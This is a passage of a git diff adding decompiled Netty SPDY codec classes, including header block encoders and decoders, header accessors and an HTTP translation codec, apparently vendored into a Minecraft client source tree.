+        frame.setInvalid();
+        break;
+      
+      case 9: 
+        headerBlock.skipBytes(headerBlock.readableBytes());
+        return;
+      
+      default: 
+        throw new Error("Shouldn't reach here.");
+      }
+    }
+  }
+  
+  void endHeaderBlock(SpdyHeadersFrame frame) throws Exception
+  {
+    if (state != State.END_HEADER_BLOCK) {
+      frame.setInvalid();
+    }
+    
+    releaseBuffer();
+    
+
+    headerSize = 0;
+    name = null;
+    state = State.READ_NUM_HEADERS;
+  }
+  
+  void end()
+  {
+    releaseBuffer();
+  }
+  
+  private void releaseBuffer() {
+    if (cumulation != null) {
+      cumulation.release();
+      cumulation = null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockRawEncoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockRawEncoder.java
new file mode 100644
index 0000000..5f49fbd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockRawEncoder.java
@@ -0,0 +1,88 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyHeaderBlockRawEncoder
+  extends SpdyHeaderBlockEncoder
+{
+  private final int version;
+  
+  public SpdyHeaderBlockRawEncoder(SpdyVersion version)
+  {
+    if (version == null) {
+      throw new NullPointerException("version");
+    }
+    this.version = version.getVersion();
+  }
+  
+  private static void setLengthField(ByteBuf buffer, int writerIndex, int length) {
+    buffer.setInt(writerIndex, length);
+  }
+  
+  private static void writeLengthField(ByteBuf buffer, int length) {
+    buffer.writeInt(length);
+  }
+  
+  public ByteBuf encode(SpdyHeadersFrame frame) throws Exception
+  {
+    Set<String> names = frame.headers().names();
+    int numHeaders = names.size();
+    if (numHeaders == 0) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    if (numHeaders > 65535) {
+      throw new IllegalArgumentException("header block contains too many headers");
+    }
+    
+    ByteBuf headerBlock = Unpooled.buffer();
+    writeLengthField(headerBlock, numHeaders);
+    for (String name : names) {
+      byte[] nameBytes = name.getBytes("UTF-8");
+      writeLengthField(headerBlock, nameBytes.length);
+      headerBlock.writeBytes(nameBytes);
+      int savedIndex = headerBlock.writerIndex();
+      int valueLength = 0;
+      writeLengthField(headerBlock, valueLength);
+      for (String value : frame.headers().getAll(name)) {
+        byte[] valueBytes = value.getBytes("UTF-8");
+        if (valueBytes.length > 0) {
+          headerBlock.writeBytes(valueBytes);
+          headerBlock.writeByte(0);
+          valueLength += valueBytes.length + 1;
+        }
+      }
+      if (valueLength != 0) {
+        valueLength--;
+      }
+      if (valueLength > 65535) {
+        throw new IllegalArgumentException("header exceeds allowable length: " + name);
+      }
+      
+      if (valueLength > 0) {
+        setLengthField(headerBlock, savedIndex, valueLength);
+        headerBlock.writerIndex(headerBlock.writerIndex() - 1);
+      }
+    }
+    return headerBlock;
+  }
+  
+  void end() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockZlibDecoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockZlibDecoder.java
new file mode 100644
index 0000000..18fd05d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockZlibDecoder.java
@@ -0,0 +1,125 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import java.util.zip.DataFormatException;
+import java.util.zip.Inflater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SpdyHeaderBlockZlibDecoder
+  extends SpdyHeaderBlockRawDecoder
+{
+  private static final int DEFAULT_BUFFER_CAPACITY = 4096;
+  private static final SpdyProtocolException INVALID_HEADER_BLOCK = new SpdyProtocolException("Invalid Header Block");
+  
+
+  private final Inflater decompressor = new Inflater();
+  private ByteBuf decompressed;
+  
+  SpdyHeaderBlockZlibDecoder(SpdyVersion spdyVersion, int maxHeaderSize)
+  {
+    super(spdyVersion, maxHeaderSize);
+  }
+  
+  void decode(ByteBuf headerBlock, SpdyHeadersFrame frame) throws Exception
+  {
+    int len = setInput(headerBlock);
+    int numBytes;
+    do
+    {
+      numBytes = decompress(headerBlock.alloc(), frame);
+    } while (numBytes > 0);
+    
+
+
+    if (decompressor.getRemaining() != 0)
+    {
+      throw INVALID_HEADER_BLOCK;
+    }
+    
+    headerBlock.skipBytes(len);
+  }
+  
+  private int setInput(ByteBuf compressed) {
+    int len = compressed.readableBytes();
+    
+    if (compressed.hasArray()) {
+      decompressor.setInput(compressed.array(), compressed.arrayOffset() + compressed.readerIndex(), len);
+    } else {
+      byte[] in = new byte[len];
+      compressed.getBytes(compressed.readerIndex(), in);
+      decompressor.setInput(in, 0, in.length);
+    }
+    
+    return len;
+  }
+  
+  private int decompress(ByteBufAllocator alloc, SpdyHeadersFrame frame) throws Exception {
+    ensureBuffer(alloc);
+    byte[] out = decompressed.array();
+    int off = decompressed.arrayOffset() + decompressed.writerIndex();
+    try {
+      int numBytes = decompressor.inflate(out, off, decompressed.writableBytes());
+      if ((numBytes == 0) && (decompressor.needsDictionary())) {
+        try {
+          decompressor.setDictionary(SpdyCodecUtil.SPDY_DICT);
+        } catch (IllegalArgumentException ignored) {
+          throw INVALID_HEADER_BLOCK;
+        }
+        numBytes = decompressor.inflate(out, off, decompressed.writableBytes());
+      }
+      if (frame != null) {
+        decompressed.writerIndex(decompressed.writerIndex() + numBytes);
+        decodeHeaderBlock(decompressed, frame);
+        decompressed.discardReadBytes();
+      }
+      
+      return numBytes;
+    } catch (DataFormatException e) {
+      throw new SpdyProtocolException("Received invalid header block", e);
+    }
+  }
+  
+  private void ensureBuffer(ByteBufAllocator alloc) {
+    if (decompressed == null) {
+      decompressed = alloc.heapBuffer(4096);
+    }
+    decompressed.ensureWritable(1);
+  }
+  
+  void endHeaderBlock(SpdyHeadersFrame frame) throws Exception
+  {
+    super.endHeaderBlock(frame);
+    releaseBuffer();
+  }
+  
+  public void end()
+  {
+    super.end();
+    releaseBuffer();
+    decompressor.end();
+  }
+  
+  private void releaseBuffer() {
+    if (decompressed != null) {
+      decompressed.release();
+      decompressed = null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockZlibEncoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockZlibEncoder.java
new file mode 100644
index 0000000..5551f1e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaderBlockZlibEncoder.java
@@ -0,0 +1,103 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import java.util.zip.Deflater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class SpdyHeaderBlockZlibEncoder
+  extends SpdyHeaderBlockRawEncoder
+{
+  private final Deflater compressor;
+  private boolean finished;
+  
+  SpdyHeaderBlockZlibEncoder(SpdyVersion spdyVersion, int compressionLevel)
+  {
+    super(spdyVersion);
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    compressor = new Deflater(compressionLevel);
+    compressor.setDictionary(SpdyCodecUtil.SPDY_DICT);
+  }
+  
+  private int setInput(ByteBuf decompressed) {
+    int len = decompressed.readableBytes();
+    
+    if (decompressed.hasArray()) {
+      compressor.setInput(decompressed.array(), decompressed.arrayOffset() + decompressed.readerIndex(), len);
+    } else {
+      byte[] in = new byte[len];
+      decompressed.getBytes(decompressed.readerIndex(), in);
+      compressor.setInput(in, 0, in.length);
+    }
+    
+    return len;
+  }
+  
+  private void encode(ByteBuf compressed) {
+    while (compressInto(compressed))
+    {
+      compressed.ensureWritable(compressed.capacity() << 1);
+    }
+  }
+  
+  private boolean compressInto(ByteBuf compressed) {
+    byte[] out = compressed.array();
+    int off = compressed.arrayOffset() + compressed.writerIndex();
+    int toWrite = compressed.writableBytes();
+    int numBytes = compressor.deflate(out, off, toWrite, 2);
+    compressed.writerIndex(compressed.writerIndex() + numBytes);
+    return numBytes == toWrite;
+  }
+  
+  public ByteBuf encode(SpdyHeadersFrame frame) throws Exception
+  {
+    if (frame == null) {
+      throw new IllegalArgumentException("frame");
+    }
+    
+    if (finished) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    ByteBuf decompressed = super.encode(frame);
+    if (decompressed.readableBytes() == 0) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    ByteBuf compressed = decompressed.alloc().heapBuffer(decompressed.readableBytes());
+    int len = setInput(decompressed);
+    encode(compressed);
+    decompressed.skipBytes(len);
+    
+    return compressed;
+  }
+  
+  public void end()
+  {
+    if (finished) {
+      return;
+    }
+    finished = true;
+    compressor.end();
+    super.end();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaders.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaders.java
new file mode 100644
index 0000000..96cef78
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeaders.java
@@ -0,0 +1,375 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SpdyHeaders
+  implements Iterable<Map.Entry<String, String>>
+{
+  public static final SpdyHeaders EMPTY_HEADERS = new SpdyHeaders()
+  {
+    public List<String> getAll(String name)
+    {
+      return Collections.emptyList();
+    }
+    
+    public List<Map.Entry<String, String>> entries()
+    {
+      return Collections.emptyList();
+    }
+    
+    public boolean contains(String name)
+    {
+      return false;
+    }
+    
+    public boolean isEmpty()
+    {
+      return true;
+    }
+    
+    public Set<String> names()
+    {
+      return Collections.emptySet();
+    }
+    
+    public SpdyHeaders add(String name, Object value)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public SpdyHeaders add(String name, Iterable<?> values)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public SpdyHeaders set(String name, Object value)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public SpdyHeaders set(String name, Iterable<?> values)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public SpdyHeaders remove(String name)
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public SpdyHeaders clear()
+    {
+      throw new UnsupportedOperationException("read only");
+    }
+    
+    public Iterator<Map.Entry<String, String>> iterator()
+    {
+      return entries().iterator();
+    }
+    
+    public String get(String name)
+    {
+      return null;
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SpdyHeaders() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String getHeader(SpdyHeadersFrame frame, String name)
+  {
+    return frame.headers().get(name);
+  }
+  
+
+
+
+
+
+
+
+  public static String getHeader(SpdyHeadersFrame frame, String name, String defaultValue)
+  {
+    String value = frame.headers().get(name);
+    if (value == null) {
+      return defaultValue;
+    }
+    return value;
+  }
+  
+
+
+
+  public static void setHeader(SpdyHeadersFrame frame, String name, Object value)
+  {
+    frame.headers().set(name, value);
+  }
+  
+
+
+
+  public static void setHeader(SpdyHeadersFrame frame, String name, Iterable<?> values)
+  {
+    frame.headers().set(name, values);
+  }
+  
+
+
+  public static void addHeader(SpdyHeadersFrame frame, String name, Object value)
+  {
+    frame.headers().add(name, value);
+  }
+  
+
+
+  public static void removeHost(SpdyHeadersFrame frame)
+  {
+    frame.headers().remove(":host");
+  }
+  
+
+
+  public static String getHost(SpdyHeadersFrame frame)
+  {
+    return frame.headers().get(":host");
+  }
+  
+
+
+  public static void setHost(SpdyHeadersFrame frame, String host)
+  {
+    frame.headers().set(":host", host);
+  }
+  
+
+
+  public static void removeMethod(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    frame.headers().remove(":method");
+  }
+  
+
+  public static HttpMethod getMethod(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    try
+    {
+      return HttpMethod.valueOf(frame.headers().get(":method"));
+    } catch (Exception e) {}
+    return null;
+  }
+  
+
+
+
+  public static void setMethod(int spdyVersion, SpdyHeadersFrame frame, HttpMethod method)
+  {
+    frame.headers().set(":method", method.name());
+  }
+  
+
+
+  public static void removeScheme(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    frame.headers().remove(":scheme");
+  }
+  
+
+
+  public static String getScheme(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    return frame.headers().get(":scheme");
+  }
+  
+
+
+  public static void setScheme(int spdyVersion, SpdyHeadersFrame frame, String scheme)
+  {
+    frame.headers().set(":scheme", scheme);
+  }
+  
+
+
+  public static void removeStatus(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    frame.headers().remove(":status");
+  }
+  
+
+  public static HttpResponseStatus getStatus(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    try
+    {
+      String status = frame.headers().get(":status");
+      int space = status.indexOf(' ');
+      if (space == -1) {
+        return HttpResponseStatus.valueOf(Integer.parseInt(status));
+      }
+      int code = Integer.parseInt(status.substring(0, space));
+      String reasonPhrase = status.substring(space + 1);
+      HttpResponseStatus responseStatus = HttpResponseStatus.valueOf(code);
+      if (responseStatus.reasonPhrase().equals(reasonPhrase)) {
+        return responseStatus;
+      }
+      return new HttpResponseStatus(code, reasonPhrase);
+    }
+    catch (Exception e) {}
+    
+    return null;
+  }
+  
+
+
+
+  public static void setStatus(int spdyVersion, SpdyHeadersFrame frame, HttpResponseStatus status)
+  {
+    frame.headers().set(":status", status.toString());
+  }
+  
+
+
+  public static void removeUrl(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    frame.headers().remove(":path");
+  }
+  
+
+
+  public static String getUrl(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    return frame.headers().get(":path");
+  }
+  
+
+
+  public static void setUrl(int spdyVersion, SpdyHeadersFrame frame, String path)
+  {
+    frame.headers().set(":path", path);
+  }
+  
+
+
+  public static void removeVersion(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    frame.headers().remove(":version");
+  }
+  
+
+  public static HttpVersion getVersion(int spdyVersion, SpdyHeadersFrame frame)
+  {
+    try
+    {
+      return HttpVersion.valueOf(frame.headers().get(":version"));
+    } catch (Exception e) {}
+    return null;
+  }
+  
+
+
+
+  public static void setVersion(int spdyVersion, SpdyHeadersFrame frame, HttpVersion httpVersion)
+  {
+    frame.headers().set(":version", httpVersion.text());
+  }
+  
+  public Iterator<Map.Entry<String, String>> iterator()
+  {
+    return entries().iterator();
+  }
+  
+  public abstract String get(String paramString);
+  
+  public abstract List<String> getAll(String paramString);
+  
+  public abstract List<Map.Entry<String, String>> entries();
+  
+  public abstract boolean contains(String paramString);
+  
+  public abstract Set<String> names();
+  
+  public abstract SpdyHeaders add(String paramString, Object paramObject);
+  
+  public abstract SpdyHeaders add(String paramString, Iterable<?> paramIterable);
+  
+  public abstract SpdyHeaders set(String paramString, Object paramObject);
+  
+  public abstract SpdyHeaders set(String paramString, Iterable<?> paramIterable);
+  
+  public abstract SpdyHeaders remove(String paramString);
+  
+  public abstract SpdyHeaders clear();
+  
+  public abstract boolean isEmpty();
+  
+  public static final class HttpNames
+  {
+    public static final String HOST = ":host";
+    public static final String METHOD = ":method";
+    public static final String PATH = ":path";
+    public static final String SCHEME = ":scheme";
+    public static final String STATUS = ":status";
+    public static final String VERSION = ":version";
+    
+    private HttpNames() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHeadersFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeadersFrame.java
new file mode 100644
index 0000000..be84700
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHeadersFrame.java
@@ -0,0 +1,19 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdyHeadersFrame
+  extends SpdyStreamFrame
+{
+  public abstract boolean isInvalid();
+  
+  public abstract SpdyHeadersFrame setInvalid();
+  
+  public abstract boolean isTruncated();
+  
+  public abstract SpdyHeadersFrame setTruncated();
+  
+  public abstract SpdyHeaders headers();
+  
+  public abstract SpdyHeadersFrame setStreamId(int paramInt);
+  
+  public abstract SpdyHeadersFrame setLast(boolean paramBoolean);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpCodec.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpCodec.java
new file mode 100644
index 0000000..a9c6a22
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpCodec.java
@@ -0,0 +1,38 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.channel.CombinedChannelDuplexHandler;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SpdyHttpCodec
+  extends CombinedChannelDuplexHandler<SpdyHttpDecoder, SpdyHttpEncoder>
+{
+  public SpdyHttpCodec(SpdyVersion version, int maxContentLength)
+  {
+    super(new SpdyHttpDecoder(version, maxContentLength), new SpdyHttpEncoder(version));
+  }
+  
+
+
+  public SpdyHttpCodec(SpdyVersion version, int maxContentLength, boolean validateHttpHeaders)
+  {
+    super(new SpdyHttpDecoder(version, maxContentLength, validateHttpHeaders), new SpdyHttpEncoder(version));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpDecoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpDecoder.java
new file mode 100644
index 0000000..d9137f3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpDecoder.java
@@ -0,0 +1,380 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpMessage;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyHttpDecoder
+  extends MessageToMessageDecoder<SpdyFrame>
+{
+  private final boolean validateHeaders;
+  private final int spdyVersion;
+  private final int maxContentLength;
+  private final Map<Integer, FullHttpMessage> messageMap;
+  
+  public SpdyHttpDecoder(SpdyVersion version, int maxContentLength)
+  {
+    this(version, maxContentLength, new HashMap(), true);
+  }
+  
+
+
+
+
+
+
+
+
+  public SpdyHttpDecoder(SpdyVersion version, int maxContentLength, boolean validateHeaders)
+  {
+    this(version, maxContentLength, new HashMap(), validateHeaders);
+  }
+  
+
+
+
+
+
+
+
+
+  protected SpdyHttpDecoder(SpdyVersion version, int maxContentLength, Map<Integer, FullHttpMessage> messageMap)
+  {
+    this(version, maxContentLength, messageMap, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected SpdyHttpDecoder(SpdyVersion version, int maxContentLength, Map<Integer, FullHttpMessage> messageMap, boolean validateHeaders)
+  {
+    if (version == null) {
+      throw new NullPointerException("version");
+    }
+    if (maxContentLength <= 0) {
+      throw new IllegalArgumentException("maxContentLength must be a positive integer: " + maxContentLength);
+    }
+    
+    spdyVersion = version.getVersion();
+    this.maxContentLength = maxContentLength;
+    this.messageMap = messageMap;
+    this.validateHeaders = validateHeaders;
+  }
+  
+  protected FullHttpMessage putMessage(int streamId, FullHttpMessage message) {
+    return (FullHttpMessage)messageMap.put(Integer.valueOf(streamId), message);
+  }
+  
+  protected FullHttpMessage getMessage(int streamId) {
+    return (FullHttpMessage)messageMap.get(Integer.valueOf(streamId));
+  }
+  
+  protected FullHttpMessage removeMessage(int streamId) {
+    return (FullHttpMessage)messageMap.remove(Integer.valueOf(streamId));
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, SpdyFrame msg, List<Object> out)
+    throws Exception
+  {
+    if ((msg instanceof SpdySynStreamFrame))
+    {
+
+      SpdySynStreamFrame spdySynStreamFrame = (SpdySynStreamFrame)msg;
+      int streamId = spdySynStreamFrame.streamId();
+      
+      if (SpdyCodecUtil.isServerId(streamId))
+      {
+        int associatedToStreamId = spdySynStreamFrame.associatedStreamId();
+        
+
+
+        if (associatedToStreamId == 0) {
+          SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, SpdyStreamStatus.INVALID_STREAM);
+          
+          ctx.writeAndFlush(spdyRstStreamFrame);
+          return;
+        }
+        
+        String URL = SpdyHeaders.getUrl(spdyVersion, spdySynStreamFrame);
+        
+
+
+        if (URL == null) {
+          SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, SpdyStreamStatus.PROTOCOL_ERROR);
+          
+          ctx.writeAndFlush(spdyRstStreamFrame);
+          return;
+        }
+        
+
+
+        if (spdySynStreamFrame.isTruncated()) {
+          SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, SpdyStreamStatus.INTERNAL_ERROR);
+          
+          ctx.writeAndFlush(spdyRstStreamFrame);
+          return;
+        }
+        try
+        {
+          FullHttpResponse httpResponseWithEntity = createHttpResponse(ctx, spdyVersion, spdySynStreamFrame, validateHeaders);
+          
+
+
+          SpdyHttpHeaders.setStreamId(httpResponseWithEntity, streamId);
+          SpdyHttpHeaders.setAssociatedToStreamId(httpResponseWithEntity, associatedToStreamId);
+          SpdyHttpHeaders.setPriority(httpResponseWithEntity, spdySynStreamFrame.priority());
+          SpdyHttpHeaders.setUrl(httpResponseWithEntity, URL);
+          
+          if (spdySynStreamFrame.isLast()) {
+            HttpHeaders.setContentLength(httpResponseWithEntity, 0L);
+            out.add(httpResponseWithEntity);
+          }
+          else {
+            putMessage(streamId, httpResponseWithEntity);
+          }
+        } catch (Exception e) {
+          SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, SpdyStreamStatus.PROTOCOL_ERROR);
+          
+          ctx.writeAndFlush(spdyRstStreamFrame);
+        }
+        
+
+      }
+      else
+      {
+        if (spdySynStreamFrame.isTruncated()) {
+          SpdySynReplyFrame spdySynReplyFrame = new DefaultSpdySynReplyFrame(streamId);
+          spdySynReplyFrame.setLast(true);
+          SpdyHeaders.setStatus(spdyVersion, spdySynReplyFrame, HttpResponseStatus.REQUEST_HEADER_FIELDS_TOO_LARGE);
+          
+
+          SpdyHeaders.setVersion(spdyVersion, spdySynReplyFrame, HttpVersion.HTTP_1_0);
+          ctx.writeAndFlush(spdySynReplyFrame);
+          return;
+        }
+        try
+        {
+          FullHttpRequest httpRequestWithEntity = createHttpRequest(spdyVersion, spdySynStreamFrame);
+          
+
+          SpdyHttpHeaders.setStreamId(httpRequestWithEntity, streamId);
+          
+          if (spdySynStreamFrame.isLast()) {
+            out.add(httpRequestWithEntity);
+          }
+          else {
+            putMessage(streamId, httpRequestWithEntity);
+          }
+          
+        }
+        catch (Exception e)
+        {
+          SpdySynReplyFrame spdySynReplyFrame = new DefaultSpdySynReplyFrame(streamId);
+          spdySynReplyFrame.setLast(true);
+          SpdyHeaders.setStatus(spdyVersion, spdySynReplyFrame, HttpResponseStatus.BAD_REQUEST);
+          SpdyHeaders.setVersion(spdyVersion, spdySynReplyFrame, HttpVersion.HTTP_1_0);
+          ctx.writeAndFlush(spdySynReplyFrame);
+        }
+      }
+    }
+    else if ((msg instanceof SpdySynReplyFrame))
+    {
+      SpdySynReplyFrame spdySynReplyFrame = (SpdySynReplyFrame)msg;
+      int streamId = spdySynReplyFrame.streamId();
+      
+
+
+      if (spdySynReplyFrame.isTruncated()) {
+        SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, SpdyStreamStatus.INTERNAL_ERROR);
+        
+        ctx.writeAndFlush(spdyRstStreamFrame);
+        return;
+      }
+      try
+      {
+        FullHttpResponse httpResponseWithEntity = createHttpResponse(ctx, spdyVersion, spdySynReplyFrame, validateHeaders);
+        
+
+
+        SpdyHttpHeaders.setStreamId(httpResponseWithEntity, streamId);
+        
+        if (spdySynReplyFrame.isLast()) {
+          HttpHeaders.setContentLength(httpResponseWithEntity, 0L);
+          out.add(httpResponseWithEntity);
+        }
+        else {
+          putMessage(streamId, httpResponseWithEntity);
+        }
+      }
+      catch (Exception e)
+      {
+        SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, SpdyStreamStatus.PROTOCOL_ERROR);
+        
+        ctx.writeAndFlush(spdyRstStreamFrame);
+      }
+    }
+    else if ((msg instanceof SpdyHeadersFrame))
+    {
+      SpdyHeadersFrame spdyHeadersFrame = (SpdyHeadersFrame)msg;
+      int streamId = spdyHeadersFrame.streamId();
+      FullHttpMessage fullHttpMessage = getMessage(streamId);
+      
+
+      if (fullHttpMessage == null) {
+        return;
+      }
+      
+
+      if (!spdyHeadersFrame.isTruncated()) {
+        for (Map.Entry<String, String> e : spdyHeadersFrame.headers()) {
+          fullHttpMessage.headers().add((String)e.getKey(), e.getValue());
+        }
+      }
+      
+      if (spdyHeadersFrame.isLast()) {
+        HttpHeaders.setContentLength(fullHttpMessage, fullHttpMessage.content().readableBytes());
+        removeMessage(streamId);
+        out.add(fullHttpMessage);
+      }
+    }
+    else if ((msg instanceof SpdyDataFrame))
+    {
+      SpdyDataFrame spdyDataFrame = (SpdyDataFrame)msg;
+      int streamId = spdyDataFrame.streamId();
+      FullHttpMessage fullHttpMessage = getMessage(streamId);
+      
+
+      if (fullHttpMessage == null) {
+        return;
+      }
+      
+      ByteBuf content = fullHttpMessage.content();
+      if (content.readableBytes() > maxContentLength - spdyDataFrame.content().readableBytes()) {
+        removeMessage(streamId);
+        throw new TooLongFrameException("HTTP content length exceeded " + maxContentLength + " bytes.");
+      }
+      
+
+      ByteBuf spdyDataFrameData = spdyDataFrame.content();
+      int spdyDataFrameDataLen = spdyDataFrameData.readableBytes();
+      content.writeBytes(spdyDataFrameData, spdyDataFrameData.readerIndex(), spdyDataFrameDataLen);
+      
+      if (spdyDataFrame.isLast()) {
+        HttpHeaders.setContentLength(fullHttpMessage, content.readableBytes());
+        removeMessage(streamId);
+        out.add(fullHttpMessage);
+      }
+    }
+    else if ((msg instanceof SpdyRstStreamFrame))
+    {
+      SpdyRstStreamFrame spdyRstStreamFrame = (SpdyRstStreamFrame)msg;
+      int streamId = spdyRstStreamFrame.streamId();
+      removeMessage(streamId);
+    }
+  }
+  
+  private static FullHttpRequest createHttpRequest(int spdyVersion, SpdyHeadersFrame requestFrame)
+    throws Exception
+  {
+    SpdyHeaders headers = requestFrame.headers();
+    HttpMethod method = SpdyHeaders.getMethod(spdyVersion, requestFrame);
+    String url = SpdyHeaders.getUrl(spdyVersion, requestFrame);
+    HttpVersion httpVersion = SpdyHeaders.getVersion(spdyVersion, requestFrame);
+    SpdyHeaders.removeMethod(spdyVersion, requestFrame);
+    SpdyHeaders.removeUrl(spdyVersion, requestFrame);
+    SpdyHeaders.removeVersion(spdyVersion, requestFrame);
+    
+    FullHttpRequest req = new DefaultFullHttpRequest(httpVersion, method, url);
+    
+
+    SpdyHeaders.removeScheme(spdyVersion, requestFrame);
+    
+
+    String host = headers.get(":host");
+    headers.remove(":host");
+    req.headers().set("Host", host);
+    
+    for (Map.Entry<String, String> e : requestFrame.headers()) {
+      req.headers().add((String)e.getKey(), e.getValue());
+    }
+    
+
+    HttpHeaders.setKeepAlive(req, true);
+    
+
+    req.headers().remove("Transfer-Encoding");
+    
+    return req;
+  }
+  
+
+
+  private static FullHttpResponse createHttpResponse(ChannelHandlerContext ctx, int spdyVersion, SpdyHeadersFrame responseFrame, boolean validateHeaders)
+    throws Exception
+  {
+    HttpResponseStatus status = SpdyHeaders.getStatus(spdyVersion, responseFrame);
+    HttpVersion version = SpdyHeaders.getVersion(spdyVersion, responseFrame);
+    SpdyHeaders.removeStatus(spdyVersion, responseFrame);
+    SpdyHeaders.removeVersion(spdyVersion, responseFrame);
+    
+    FullHttpResponse res = new DefaultFullHttpResponse(version, status, ctx.alloc().buffer(), validateHeaders);
+    for (Map.Entry<String, String> e : responseFrame.headers()) {
+      res.headers().add((String)e.getKey(), e.getValue());
+    }
+    
+
+    HttpHeaders.setKeepAlive(res, true);
+    
+
+    res.headers().remove("Transfer-Encoding");
+    res.headers().remove("Trailer");
+    
+    return res;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpEncoder.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpEncoder.java
new file mode 100644
index 0000000..ffc379b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyHttpEncoder.java
@@ -0,0 +1,313 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.handler.codec.UnsupportedMessageTypeException;
+import io.netty.handler.codec.http.FullHttpMessage;
